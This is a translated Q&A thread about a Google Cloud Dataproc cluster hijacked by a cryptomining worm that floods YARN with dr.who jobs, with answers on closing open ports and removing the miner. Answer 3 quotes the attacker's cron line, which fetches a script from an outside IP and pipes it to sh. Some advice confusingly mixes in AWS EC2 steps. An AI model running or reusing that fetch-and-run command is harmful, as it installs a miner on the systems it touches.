Google Cloud Dataproc Virus CrytalMiner (dr.who)

Question

dataproc 集群创建后，用户 dr.who 会自动将许多作业提交给 ResourceManager。这会耗尽集群的资源并最终使集群不堪重负。

日志中几乎没有信息。

还有其他人在 dataproc 中遇到这个问题吗？

Answer 1

不知道更多，这就是我怀疑发生的事情。

• 听起来您的集群已被入侵
• 您的防火墙（网络）规则可能已打开，允许任何流量进入集群
• 有人发现您的集群对公共互联网开放并正在利用它

我建议您立即执行以下操作：

1. 保护您使用的firewall rules 以防止外部访问；不要向公共互联网开放端口
2. 如果您没有使用 Cloud Dataproc 集群，请将其删除
3. 如果您在该集群上有任何作业或数据，您应该认为该数据可能受到损害（因为任何人都可以访问该集群）

如果您需要访问集群上的 WebUI，您应该使用a SOCKS proxy and SSH。

Answer 2

你可能会发生什么：

• 黑客扫描每个公开的漏洞（IP 地址 + 端口）并将其存储到漏洞表中
• 黑客扫描破坏表并试图确定您最近是否启动了集群
• 当一个易受攻击的集群可用时，黑客会连接到它（一切都是开放的，并且发现了一个漏洞！）
• 此人连接到您的集群，删除所有内容（在我的情况下，脚本名为 zz.sh，您可以在下面的 BitBucket 链接中找到它）然后下载挖矿应用程序
• YARN 认为 worker 失败了，但我什至不认为 Hadoop 应用程序正在运行。

我建议您尝试在错误日志中查找 bitbucket/github 地址。您也可以尝试查找 get/wget/apt-get/curl 命令。

我猜他现在很有钱了。

两件重要的事情：

• 检查您的安全组配置是否足够强大，没有任何地方的公共授权
• 检查您的 SSH 密钥是否被泄露。

你需要做什么：

我们的想法是通过更新的安全组策略阻止不必要的开放端口，并在需要时使用 VPC。我将描述第一个选项以及要遵循的主要步骤。

1. [可选] 更改您的 SSH 密钥（注意：这很容易破坏您的系统，请谨慎操作）
2. 转到您的 EC2 屏幕 > 网络和安全 > 安全组

1. 创建一个新的安全组并仅配置来自主节点及其节点的可能连接（您可以将输入连接设置为来自给定的安全组）。
2. 在启动新的 EC2/EMR 实例时使用 (3) 中描述的安全组。 （检查集群安全配置时应该会出现）

相关：

• yarn-dr-who-application-attempt-fail
• how-to-use-the-resourcemanager-web-interface-as-an-user
• hdp-261-virus-crytalminer-drwho.html

Answer 3

该病毒是一种加密货币矿工，可创建数以千计的博士。谁的工作像你描述的那样。如果您尝试删除加密矿工，这些工作可以“重新安装”它。以下是永久移除矿工的方法。

在每个可疑节点上检查 cron 作业作为纱线并将其删除。

$ sudo -u yarn crontab -e

*/2 * * * * wget -q -O - http://185.222.210.59/cr.sh | sh > /dev/null 2>&1

然后检查一个像这样的“java”进程并杀死它。

/var/tmp/java -c /var/tmp/wc.conf

您还需要保护集群的所有传入端口，以防止这种情况再次发生。尤其是您的资源管理器端口。

也请参阅此以获取更多信息。 https://community.hortonworks.com/questions/191898/hdp-261-virus-crytalminer-drwho.html

Answer 4

GCP： 如果您必须更改您的安全组默认值：ssh（使其成为 tcp:22） .我想它会帮助你解决你的问题。